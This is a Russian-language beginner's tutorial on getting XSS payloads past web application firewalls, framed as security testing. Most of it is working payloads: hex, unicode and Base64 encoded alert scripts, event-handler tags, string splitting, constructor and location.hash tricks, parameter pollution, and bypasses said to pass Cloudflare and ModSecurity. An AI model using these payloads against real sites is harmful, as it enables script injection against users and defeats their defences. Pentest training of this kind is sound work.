Обход WAF для XSS: Подробное руководство для начинающих
Web Application Firewall (WAF) — это система, которая фильтрует вредоносные запросы к веб-приложениям, включая XSS-атаки. Однако WAF можно обойти, если знать, как работают фильтры и какие техники обхода существуют.
В этом руководстве разберем базовые и продвинутые методы обхода WAF для успешного тестирования на XSS.
1. Что такое XSS и как WAF его блокирует?
XSS (Cross-Site Scripting) — уязвимость, позволяющая внедрить JavaScript-код в страницу, который выполняется в браузере жертвы.
- Фильтрует ключевые слова (
<script>,alert,onerror). - Проверяет структуру HTML/JS (закрытие тегов, кавычки).
- Блокирует подозрительные символы (
<,>,',",()).
Но WAF не идеален, и его можно обмануть.
2. Основные техники обхода WAF
① Кодирование и обфускация
WAF часто ищет явные строки вроде alert(1), но если закодировать payload, фильтр может его пропустить.
<script>alert(1);</script>
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script><script>\u0061\u006c\u0065\u0072\u0074(1)</script>
② Альтернативные теги и события
WAF часто блокирует <script>, но пропускает другие теги:
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<input autofocus onfocus=alert(1)> <video onseek="alert(1)">
③ Разбиение строк (String Concatenation)
Если WAF блокирует alert(1), можно разбить строку:
<script>window['al'+'ert'](1)</script>
<script>eval('al'+'ert(1)')</script>④ Использование атрибутов без кавычек
WAF ищет строки в кавычках ("alert(1)"), но можно обойтись без них:
<img src=x onerror=alert(1)>
⑤ HTTP Parameter Pollution (HPP)
Некоторые WAF проверяют параметры по отдельности, но не анализируют их комбинацию:
/?param=<scri¶m=pt>alert(1)</scri¶m=pt>
На сервере может склеиться в <script>alert(1)</script>.
3. Продвинутые методы
① Использование atob() (Base64 декодирование)
Если WAF блокирует прямой JS, можно закодировать его в Base64:
<script>eval(atob('YWxlcnQoMSk='))</script> // "YWxlcnQoMSk=" = "alert(1)"② Динамические вызовы через constructor
<script>(1)[constructor.constructor('alert(1)')()]</script>③ Обход через location.hash
Если WAF проверяет только URL, но не location.hash:
<script>eval(location.hash.slice(1))</script>
https://site.com/xss.html#alert(1)
4. Практические примеры обхода WAF
Пример 1: Cloudflare WAF
Cloudflare блокирует <script>alert(1)</script>, но пропускает:
<svg/onload=alert`1`>
Пример 2: ModSecurity WAF
ModSecurity часто блокирует onerror=, но пропускает:
<img src=x oneonerrorrror=alert(1)>
5. Инструменты для автоматизации
- XSS Hunter (https://xsshunter.com) — для сбора данных о срабатывании XSS.
- XSStrike (https://github.com/s0md3v/XSStrike) — автоматический фаззер для обхода WAF.
- Burp Suite + Bypass WAF Extension — для ручного тестирования.
Ключевые принципы обхода WAF
Главное правило: Нет универсального решения. Успех зависит от:
1. Методичного тестирования
→ Пробуйте сотни вариантов payload'ов
→ Фиксируйте, какие конструкции проходят
→ Анализируйте закономерности блокировок
2. Глубокого понимания WAF
→ Тестируйте фильтрацию по частям:
- Какие теги разрешены?
- Какие атрибуты не блокируются?
- Какие символы вызывают срабатывание?
→ Составляйте "карту" работы фильтров
3. Креативного подхода
→ Комбинируйте техники (кодирование + разбиение строк)
→ Придумывайте неочевидные конструкции
→ Используйте особенности конкретного WAF
Практические советы
→ Начинайте с простых payload'ов и усложняйте
→ Тестируйте по одному изменению за раз
→ Используйте fuzzing для автоматизации проб
→ Изучайте ответы сервера (разные коды ошибок)
Лучшие площадки для практики:
- PortSwigger Web Security Academy
- HackTheBox XSS Challenges
- PentesterLab XSS Exercises
- Rootme